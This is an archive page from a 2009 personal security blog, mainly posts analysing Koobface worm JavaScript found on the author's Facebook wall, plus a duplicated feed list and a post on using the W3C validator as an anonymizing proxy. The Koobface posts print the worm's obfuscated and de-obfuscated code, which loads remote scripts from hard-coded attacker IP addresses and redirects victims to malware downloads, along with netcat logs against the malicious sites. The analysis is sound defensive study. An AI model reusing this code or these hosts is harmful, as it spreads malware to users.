Finally! I've got one more project to finish for my graphics class and then I'll be officially done as an undergraduate at BYU! Now I should have a lot more time to finish writing up all of those blogposts that I stubbed out and never finished (really, there are quite a lot of them). You can expect this blog to be a lot more active now.
I've also been applying around for security-related jobs in fields such as web-application security, network security, malware analysis, CNA/CNE (computer network attack, computer network exploitation), penetration testing, security research, etc. If you happen to know of an opening somewhere, or know of someone else who might know, shoot me an email.
Wednesday, December 16, 2009
Thursday, October 15, 2009
Feeds I Monitor
Sometimes I want to share the security feeds/blogs I monitor with others, so I usually just give out this link http://www.bloglines.com/public/nephi-johnson. BUT, Bloglines is really really slow opening some of the feeds from that link. So, I've decided to just post all of the feeds and blogs I monitor here:
Enjoy! I'll be keeping this updated as well.
-atlas wandering-
.:Computer Defense:.
360 Security
ADD / XOR / ROL
Alex's Corner
Amrit Williams Blog
An IT Professional’s Blog
Anachronic
Andrew Martin
Anurag Agarwal - Application Security Evangelist
AppSec Street Fighter - SANS Institute
Billy (BK) Rios
Blog | Security Whole
Boaz Gelbord
Bugtraq
CGISecurity - Website and Application Security News
cktricky and Web Application Security
Command Line Kung Fu
Confessions of a Penetration Tester
Daily Dave
Dancho Danchev's Blog - Mind Streams of Information Security Kno
DarkReading - All Stories
deep inside | security & tools
Denim Group, Ltd.
Digital Soapbox - Preaching Security to the Digital Masses
Disenchant's Blog
Eric's Musings on the Security World
EvilFingers
F-Secure Antivirus Research Weblog
F-Secure Latest 10 Corporate News Rss Feed
FireEye Malware Intelligence Lab
Firewall Wizards
Forage Security
Full Disclosure
gnarlysec
GNUCITIZEN
ha.ckers.org web application security lab
hackademix.net
Hex blog
Honeypots
IDS Focus
In.Security Home
Incidents
Indistinguishable from Jesse
Info Security News
It's a shampoo world anyway
Jack Mannino
Jeremiah Grossman
k3r0s1n3
Laramies Corner
Matasano Chargen
Matt Blaze's Exhaustive Search
McAfee Avert Labs
Michael Howard's Web Log
Minded Security Blog
MS Sec Notification
Network Security Blog
Nibble Security
Nitesh Dhanjani
omg.wtf.bbq.
p42 labs
PaulDotCom
Penetration Testing
PortSwigger.net - web application security
random dross
The RISKS Forum
SANS Internet Storm Center, InfoCON: green
SANS ISC SecNewsFeed
Schneier on Security
SecureWorks Research Blog
Security Bytes
The Security Catalyst
Security Fix
Security Incite Rants
The Security Shoggoth
Security Thoughts
Security to the Core | Arbor Networks Security » 2009
SecurityRecruiter.com's Security Recruiter Blog
Shadowserver Foundation | Information / Whitepapers
Shadowserver Foundation | Main / HomePage
Silver Tail Blog
sirdarckcat
Skeptikal.org
Slashdot
The Spanner
Sunbelt Blog
Suspekt...
Sylvan von Stuppe
Tactical Web Application Security
TaoSecurity
Technicalinfo.net Security
Threat Level
ThreatExpert Blog
ThreatFire Research Blog
TrendLabs | Malware Blog - by Trend Micro
TwitPwn
Vulnerability Development (vuln-dev) Mailing List
Web App Security
Webmonkey
Wired Top Stories
XSSed syndication
Zero Day
Zscaler Research
.:Computer Defense:.
360 Security
ADD / XOR / ROL
Alex's Corner
Amrit Williams Blog
An IT Professional’s Blog
Anachronic
Andrew Martin
Anurag Agarwal - Application Security Evangelist
AppSec Street Fighter - SANS Institute
Billy (BK) Rios
Blog | Security Whole
Boaz Gelbord
Bugtraq
CGISecurity - Website and Application Security News
cktricky and Web Application Security
Command Line Kung Fu
Confessions of a Penetration Tester
Daily Dave
Dancho Danchev's Blog - Mind Streams of Information Security Kno
DarkReading - All Stories
deep inside | security & tools
Denim Group, Ltd.
Digital Soapbox - Preaching Security to the Digital Masses
Disenchant's Blog
Eric's Musings on the Security World
EvilFingers
F-Secure Antivirus Research Weblog
F-Secure Latest 10 Corporate News Rss Feed
FireEye Malware Intelligence Lab
Firewall Wizards
Forage Security
Full Disclosure
gnarlysec
GNUCITIZEN
ha.ckers.org web application security lab
hackademix.net
Hex blog
Honeypots
IDS Focus
In.Security Home
Incidents
Indistinguishable from Jesse
Info Security News
It's a shampoo world anyway
Jack Mannino
Jeremiah Grossman
k3r0s1n3
Laramies Corner
Matasano Chargen
Matt Blaze's Exhaustive Search
McAfee Avert Labs
Michael Howard's Web Log
Minded Security Blog
MS Sec Notification
Network Security Blog
Nibble Security
Nitesh Dhanjani
omg.wtf.bbq.
p42 labs
PaulDotCom
Penetration Testing
PortSwigger.net - web application security
random dross
The RISKS Forum
SANS Internet Storm Center, InfoCON: green
SANS ISC SecNewsFeed
Schneier on Security
SecureWorks Research Blog
Security Bytes
The Security Catalyst
Security Fix
Security Incite Rants
The Security Shoggoth
Security Thoughts
Security to the Core | Arbor Networks Security » 2009
SecurityRecruiter.com's Security Recruiter Blog
Shadowserver Foundation | Information / Whitepapers
Shadowserver Foundation | Main / HomePage
Silver Tail Blog
sirdarckcat
Skeptikal.org
Slashdot
The Spanner
Sunbelt Blog
Suspekt...
Sylvan von Stuppe
Tactical Web Application Security
TaoSecurity
Technicalinfo.net Security
Threat Level
ThreatExpert Blog
ThreatFire Research Blog
TrendLabs | Malware Blog - by Trend Micro
TwitPwn
Vulnerability Development (vuln-dev) Mailing List
Web App Security
Webmonkey
Wired Top Stories
XSSed syndication
Zero Day
Zscaler Research
Enjoy! I'll be keeping this updated as well.
Monday, October 5, 2009
CERT Secure Coding Site Down
(10/5/2009 8:54 AM) EDIT:The site is now up and running
Well, this would be at least a little embarassing:
At the time of this posting, the entire securecoding.cert.org site seems to be down. Isn't information disclosure part of secure coding? The error message probably isn't a big deal, but still...
This is what cert.org says about information disclosure on their site: actual link, google's cache. A better link: Top 25 Programming Errors (see CWE-209).
Sunday, September 27, 2009
Koobface Javascript Explained
In this post, I'll be going through the javascript files that I've found through links that have been posted on facebook. An example of the original file is shown below:
The first thing this script does is get the referrer here:
Then, if the current href contains the "?id=" substring, then it tries to parse the id of your account by parsing anything that comes after "?id=":
Then the script assigns the js variable to a new value, depending on the magnitude of your id. If your id is greater than or equal to 401, js will always be "/view". This would be the case for all (I think) facebook accounts, as well as any other account on a site, unless you were one of the first 400 people to sign up and the site uses sequential ids. I'm not quite sure why the script would want to specifically check for this, unless it's b/c the main site they are targeting uses pages that serve the correct content based on the id url param (hence the ?id=). Still have to figure out more on this one.
The last thing the script does is append a new script tag to the DOM head for each ip in its ipAddresses array:
Remember that WaitForRedirect() function we explained earlier and how it periodically checks for a non-blank string in the window.redirect variable? Once the second script assigns a non-blank string to that variable, the WaitForRedirect() function will redirect the browser to the new url. From there, many different things may happen, but it looks like most of them are social networking site look-alikes that try and get you to run an executable that automatically starts downloading.
Well, that's about it for tonight :)
Javascript
And here is my version of it (I de-obfuscated most of it):
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
break;
}
}
window.redirect = '';
function urocwfkgdsjq6() {
var higeruoxzcnqsbad9 = '' + window.redirect;
if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
var onjrmgcaifxsqtzb9 = document.createElement('script');
onjrmgcaifxsqtzb9.type = 'text/javascript';
onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
De-Obfuscated Javascript
Ok, now to go through it step by step (I am going to assume you have some experience with javascript).// KROTEG
var referrers = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
newPath = '/f=' + referrers[i][1];
break;
}
}
window.redirect = '';
function WaitForRedirect() {
var currRedirect = '' + window.redirect;
if (currRedirect.length > 0) window.location.href = currRedirect;
else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
var scriptTag = document.createElement('script');
scriptTag.type = 'text/javascript';
scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
The first thing this script does is get the referrer here:
Referrer
Then the script tries to find a domain in its referrers array that is found in the docReferrer variable. If it finds one that matches, it sets the newPath variable to /f=<referrer abbreviation>
var docReferrer = '' + eval('document.referrer'), newPath = '';
Matching the referrrer
The next thing the script does is set window.redirect to "" (window.redirect = '';). Then it defines a function that uses setTimeout() to periodically (and semi-asynchronously) check window.redirect to see if there is any data stored there. If there is, the window.location.href is set to the window.redirect variable, redirecting the browser to the new location. This is shown below:
for (var i = 0; i < referrers.length; i ++) {
if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
newPath = '/f=' + referrers[i][1];
break;
}
}
WaitForRedirect() function
After making the initial call to the WaitForRedirect() function, the script sets the variable js to one of /view, /cnet, /warn, /scan or blank (''), based on the id number of your account on any one of the social networking sites koobface targets. The way it does this isn't very straightforward. First, it looks for the "?id=" substring in the href:
window.redirect = '';
function WaitForRedirect() {
var currRedirect = '' + window.redirect;
if (currRedirect.length > 0) window.location.href = currRedirect;
else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
...
}
The last thing the script does is append a new script tag to the DOM head for each ip in its ipAddresses array:
New javascript for each ip
This is done in case one of the ips is taken out or stops working. The first script to get loaded assigns the window.redirect variable to a new value. This can be seen in the source of one of the scripts: (At the time of this writing, the ip 113.254.53.10 was up and working)
for (var i = 0; i < ipAddresses.length; i ++) {
var scriptTag = document.createElement('script');
scriptTag.type = 'text/javascript';
scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
Second script content
Note that the /f=fb2/cnet/ part of the the string being assigned to window.redirect will change based on what site you were on when you clicked the link, as well as what the id= url-param was.window.redirect='h t t p://113.254.53.10/d='+location.hostname+'/0x3E8/f=fb2/cnet/';
Remember that WaitForRedirect() function we explained earlier and how it periodically checks for a non-blank string in the window.redirect variable? Once the second script assigns a non-blank string to that variable, the WaitForRedirect() function will redirect the browser to the new url. From there, many different things may happen, but it looks like most of them are social networking site look-alikes that try and get you to run an executable that automatically starts downloading.
Well, that's about it for tonight :)
Koobface on my Facebook II
Well, while I was starting to write up a post describing what the javascript file does, I found another link for koobface on my facebook! This time from a different domain: h t t p ://www.blackjackorchestra.eu/privaledwd/. This link does the exact same thing as the one in the previous post, except for a few differences in their php script quality :), as well as a few other minor changes. In my previous post, I described how the server-side script checked to see if you gave it a valid User-Agent before sending you the javascript in the content. This site does the same thing, but I guess some debug info was left in it! Here's the content that's sent back if you send it a request that does not contain a User-Agent header:
Also, the javascript file is exactly the same, except for different random names for the variables, and two different ip addresses. The script in the last post had these two addresses: 59.93.80.251, 79.182.37.95. The script in this post doesn't have those two addresses, but has these two instead: 217.132.126.129, 90.17.65.193. Well, I think that covers it for this new koobface url. Now onto writing about that javascript...
Request & Response (using netcat):
Someone forgot to take out their debug info! Hahaha :) Well, if you do send a valid User-Agent, this is the content that gets sent back:
C:\>nc www.blackjackorchestra.eu 80 GET /privaledwd/ HTTP/1.1 HOST: www.blackjackorchestra.eu HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: PHP/5.1.1 X-Powered-By: ASP.NET Date: Sun, 27 Sep 2009 15:32:28 GMT Connection: close <br /> <b>Notice</b>: Undefined index: HTTP_USER_AGENT in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>30</b><br /> <br /> <b>Notice</b>: Undefined index: HTTP_USER_AGENT in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>37</b><br /> <br /> <b>Notice</b>: Undefined variable: rscript in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>42</b><br /> <title>Amazing Video</title> ocwdtreifoyocrb egzcqgtcfx <img src=afjo4blr.jpg> ocecaahcqgeuzk qduzqsc PHP Notice: Undefined index: HTTP_USER_AGENT in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 30 PHP Notice: Undefined index: HTTP_USER_AGENT in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 37 PHP Notice: Undefined variable: rscript in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 42
zzmjqoqvri byiktuysec <script src="9r.js"></script> yadoemvy ilxnsxiilmsnqbb
Labels:
attack,
command line,
javascript,
koobface,
User-Agent,
worm
Thursday, September 24, 2009
Koobface on my Facebook!
I was checking my facebook earlier today (something I almost never do), and noticed that someone had left a weird link on my wall:
h t t p ://s217307881.mialojamiento.es/y0urc1ip/
I first visited the page in Firefox with javascript and such turned off. This is the source of the page as seen from firefox:
I then decided to visit the page from the command line using netcat:
Notice the difference? No javascript tag is found in the source. I did a little experimenting with the server and found that only requests that contain valid User-Agent headers will get the script tag:
This one is sending a User-Agent string that IE8 uses:
Now, onto the Javascript file: 9j72fkj-de1w.js. Below is the original contents of the file:
And here is my version of it:
I did some searching around for the word "KROTEG" and found this link: http://r3v3rs3e.wordpress.com/tag/kroteg/.
What was on my wall was just another variant of the koobface worm.
I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.
I don't have time now to explain what the js file does, but will go through that in another post.
pcnxnkcaiztp cvnxmxxrgscdvkr <script src="9j72fkj-de1w.js"></script> qgdtubgfdho adbdzoam
C:\>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:40:56 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 6e <title>Amazing Video</title> ucctsfnqmvyh ldaumylhrlljfb <img src=j18sda5ncm8.jpg> exlyansstgifbh wsrwmduxllj 0
C:\>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es User-Agent: The Old Laundry Basket HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:49:57 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 6a <title>Amazing Video</title> ozgauyjgghjy aabkqxigumthaux <img src=j18sda5ncm8.jpg> jorivrc bjajszitzkdqh 0
C:\Documents and Settings\Student>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506) HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:58:35 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 5c upthmidfi ajglroelpsymijw <script src="9j72fkj-de1w.js"></script> ailsoghinur aaqajwmblrnbj 0
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
break;
}
}
window.redirect = '';
function urocwfkgdsjq6() {
var higeruoxzcnqsbad9 = '' + window.redirect;
if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
var onjrmgcaifxsqtzb9 = document.createElement('script');
onjrmgcaifxsqtzb9.type = 'text/javascript';
onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
// KROTEG
var referrers = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
newPath = '/f=' + referrers[i][1];
break;
}
}
window.redirect = '';
function WaitForRedirect() {
var currRedirect = '' + window.redirect;
if (currRedirect.length > 0) window.location.href = currRedirect;
else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
var scriptTag = document.createElement('script');
scriptTag.type = 'text/javascript';
scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.
I don't have time now to explain what the js file does, but will go through that in another post.
Labels:
attack,
command line,
javascript,
koobface,
KROTEG,
obfuscation,
worm
Sunday, September 20, 2009
W3 Simple Proxy/Anonymizer with Custom User-Agent
A while ago I decided to hit the XHTML Validate link to see what the W3 XHTML Validator said was wrong with a web page. Of course, there were tons of things wrong (I don't know why people ever put the link on their page because they are never compliant with the w3 standards). Anyways, I noticed that it gives you the option to view the source code of the page it's supposed to be validating and thought you could use this as a proxy to view html web pages. Also, the w3 validator gives you the option of specifying the user-agent header that will be sent to the server, which could come in handy. They also seem to have a mechanism in place to keep you from inserting additional headers into the HTTP Request sent to the server, although the mechanisms for the uri param and the user-agent param are different.
Here's a sample url http://translate.google.com/translate?hl=en&sl=es&tl=en&u=http://validator.w3.org/check%3Furi%3Dhttp://gnarlysec.blogspot.com%26charset%3D(detect%2Bautomatically)%26doctype%3DInline%26ss%3D1%26group%3D0%26user-agent%3DW3C_Validator/1.654. The source at the bottom of the page would still need to be parsed out, but that's the basic idea. Also note the url param "user-agent".
Here's a sample url http://translate.google.com/translate?hl=en&sl=es&tl=en&u=http://validator.w3.org/check%3Furi%3Dhttp://gnarlysec.blogspot.com%26charset%3D(detect%2Bautomatically)%26doctype%3DInline%26ss%3D1%26group%3D0%26user-agent%3DW3C_Validator/1.654. The source at the bottom of the page would still need to be parsed out, but that's the basic idea. Also note the url param "user-agent".
Subscribe to:
Posts (Atom)